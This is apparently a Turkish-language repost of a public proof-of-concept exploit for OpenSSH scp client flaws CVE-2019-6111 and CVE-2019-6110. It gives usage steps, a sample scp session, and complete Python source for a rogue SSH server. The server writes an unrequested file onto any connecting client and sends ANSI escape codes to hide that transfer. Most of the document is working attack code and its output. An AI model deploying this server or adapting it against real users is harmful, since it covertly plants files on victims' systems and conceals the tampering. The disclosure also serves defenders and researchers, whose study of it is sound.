OpenSSH SCP Client - Write Arbitrary Files

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19 Eyl 2015
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Title: SSHtranger Things
Author: Mark E. Haase <[email protected]>
Homepage: https://www.hyperiongray.com
Date: 2019-01-17
CVE: CVE-2019-6111, CVE-2019-6110
Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt
Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1

"SSHtranger Things" adını verdiğimiz bu bug çok eski olabilir. 8 bit Demogorgon tarafından sömürüldü. Python 3.6.7 ile test edildi ve “paramiko” paketi gerektiriyor.

Sunucu, 2222 numaralı bağlantı noktasını dinler. Herhangi bir kullanıcı adı ve şifreyi kabul eder ve her çalıştırdığınızda yeni bir ana bilgisayar anahtarı oluşturur.

$ python3 sshtranger_things.py

Güvenlik açığı bulunan bir istemci kullanarak bir dosya indirin. Yerel yol bir nokta olmalıdır:

$ scp -P 2222 foo@localhost:test.txt .
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts.
foo@localhost's password:
test.txt 100% 32 0.7KB/s 00:00


İstediğiniz dosya (ör. Test.txt) mevcut dizininize kaydedilecektir.
Müşteriniz savunmasız ise, "exploit.txt" ek bir dosyanız geçerli dizinde oluşturulmuş olacak

$ cat test.txt
This is the file you requested.
$ cat exploit.txt
SSHtranger Things

The interesting code is in ScpServer.send_file().


Kod:
import base64
import gzip
import logging
import paramiko
import paramiko.rsakey
import socket
import threading

logging.basicConfig(level=logging.INFO)

dummy = 'This is the file you requested.\n'
payload = gzip.decompress(base64.b64decode(
    b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46'
    b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA'
    b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7'
    b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d'
    b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM'
    b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz'
    b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4'
    b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc'
    b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS'
    b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA'
))

class ScpServer(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_auth_password(self, username, password):
        logging.info('Authenticated with %s:%s', username, password)
        return paramiko.AUTH_SUCCESSFUL

    def check_channel_request(self, kind, chanid):
        logging.info('Opened session channel %d', chanid)
        if kind == "session":
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_channel_exec_request(self, channel, command):
        command = command.decode('ascii')
        logging.info('Approving exec request: %s', command)
        parts = command.split(' ')
        # Make sure that this is a request to get a file:
        assert parts[0] == 'scp'
        assert '-f' in parts
        file = parts[-1]
        # Send file from a new thread.
        threading.Thread(target=self.send_file, args=(channel, file)).start()
        return True

    def send_file(self, channel, file):
        '''
        The meat of the exploit:
            1. Send the requested file.
            2. Send another file (exploit.txt) that was not requested.
            3. Print ANSI escape sequences to stderr to hide the transfer of
               exploit.txt.
        '''
        def wait_ok():
            assert channel.recv(1024) == b'\x00'
        def send_ok():
            channel.sendall(b'\x00')

        wait_ok()

        logging.info('Sending requested file "%s" to channel %d', file,
            channel.get_id())
        command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii')
        channel.sendall(command)
        wait_ok()
        channel.sendall(dummy)
        send_ok()
        wait_ok()

        # This is CVE-2019-6111: whatever file the client requested, we send
        # them 'exploit.txt' instead.
        logging.info('Sending malicious file "exploit.txt" to channel %d',
            channel.get_id())
        command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii')
        channel.sendall(command)
        wait_ok()
        channel.sendall(payload)
        send_ok()
        wait_ok()

        # This is CVE-2019-6110: the client will display the text that we send
        # to stderr, even if it contains ANSI escape sequences. We can send
        # ANSI codes that clear the current line to hide the fact that a second
        # file was transmitted..
        logging.info('Covering our tracks by sending ANSI escape sequence')
        channel.sendall_stderr("\x1b[1A".encode('ascii'))
        channel.close()

def main():
    logging.info('Creating a temporary RSA host key...')
    host_key = paramiko.rsakey.RSAKey.generate(1024)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('localhost', 2222))
    sock.listen(0)
    logging.info('Listening on port 2222...')

    while True:
        client, addr = sock.accept()
        logging.info('Received connection from %s:%s', *addr)
        transport = paramiko.Transport(client)
        transport.add_server_key(host_key)
        server = ScpServer()
        transport.start_server(server=server)

if __name__ == '__main__':
    main()

https://www.exploit-db.com/exploits/46516

https://tr.0day.today/exploit/32328
 
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